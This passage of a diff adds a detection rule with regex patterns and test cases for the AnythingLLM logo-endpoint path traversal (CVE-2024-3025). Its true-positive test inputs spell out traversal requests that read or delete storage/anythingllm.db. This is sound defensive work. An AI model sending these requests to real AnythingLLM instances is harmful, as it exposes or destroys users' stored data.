+      context: "ISO/IEC 42001 Clause 8.1 (operational planning and control) — detection of this payload is an operational control. Technique: AnythingLLM Logo Endpoint Path Traversal File Read/Delete (CVE-2024-3025)."
+      strength: primary
+    - clause: "8.3"
+      context: "ISO/IEC 42001 Clause 8.3 (AI risk treatment) — this rule implements runtime detection as a treatment control. Technique: AnythingLLM Logo Endpoint Path Traversal File Read/Delete (CVE-2024-3025)."
+      strength: secondary
+tags: { category: tool-poisoning, subcategory: path-traversal, scan_target: both, confidence: high, source: cve-disclosure, vendor_sources: anythingllm-cve-2024-3025 }
+agent_source: { type: llm_io, framework: [any], provider: [any] }
+detection:
+  condition: any
+  false_positives:
+    - "Legitimate logo upload/fetch hitting /api/system/upload-logo or /api/system/logo with a normal filename like my-logo.png and no ../ sequence."
+    - "Documentation or changelog mentioning the logo endpoints without a traversal payload."
+  conditions:
+    - field: content
+      operator: regex
+      value: '(?i)/api/system/(?:upload-)?logo[\s\S]{0,200}(?:\.\./|\.\.%2f|%2e%2e%2f|%2e%2e/){2,}[\s\S]{0,120}(?:storage[/\\])?anythingllm\.db'
+      description: "AnythingLLM logo endpoint hit with multi-level ../ traversal (raw or URL-encoded) reaching storage/anythingllm.db"
+    - field: content
+      operator: regex
+      value: '(?i)/api/system/(?:upload-)?logo[\s\S]{0,200}(?:filename|logo)=[\s\S]{0,40}(?:\.\./|%2e%2e%2f|\.\.%2f){2,}'
+      description: "Logo filename/logo query param carrying multi-level path-traversal sequences on the logo endpoint"
+    - field: content
+      operator: regex
+      value: '(?i)CVE-2024-3025[\s\S]{0,200}(?:path\s*traversal|logo|anythingllm\.db|/api/system/(?:upload-)?logo)'
+      description: "explicit CVE framing"
+response:
+  actions: [alert, block_input]
+  message_template: >
+    [ATR-2026-01973] CRITICAL: AnythingLLM logo endpoint path traversal (CVE-2024-3025) reads/deletes arbitrary files such as storage/anythingllm.db. Block and patch.
+confidence: 80
+wild_fp_rate: 0
+test_cases:
+  true_positives:
+    - input: "GET /api/system/logo?filename=../../../storage/anythingllm.db HTTP/1.1"
+      expected: triggered
+      description: "Logo fetch endpoint with ../ traversal to the SQLite database file"
+    - input: "POST /api/system/upload-logo with logo=../../../../storage/anythingllm.db to delete the database"
+      expected: triggered
+      description: "Upload-logo endpoint abused with traversal into storage/anythingllm.db"
+    - input: "Exploiting CVE-2024-3025: /api/system/logo path traversal to read anythingllm.db"
+      expected: triggered
+      description: "Explicit CVE-2024-3025 framing with the logo endpoint and traversal target"
+  true_negatives:
+    - input: "GET /api/system/logo?theme=default HTTP/1.1 returns the configured workspace logo"
+      expected: not_triggered
+      description: "Normal logo fetch with theme param, no traversal sequence"
+    - input: "POST /api/system/upload-logo uploading company-logo.png as the new appearance logo"
+      expected: not_triggered
+      description: "Legitimate logo upload with a clean filename"
+    - input: "The /api/system/logo endpoint serves the branding image configured in Appearance settings."
+      expected: not_triggered
+      description: "Generic mention of the endpoint with no exploit token or traversal"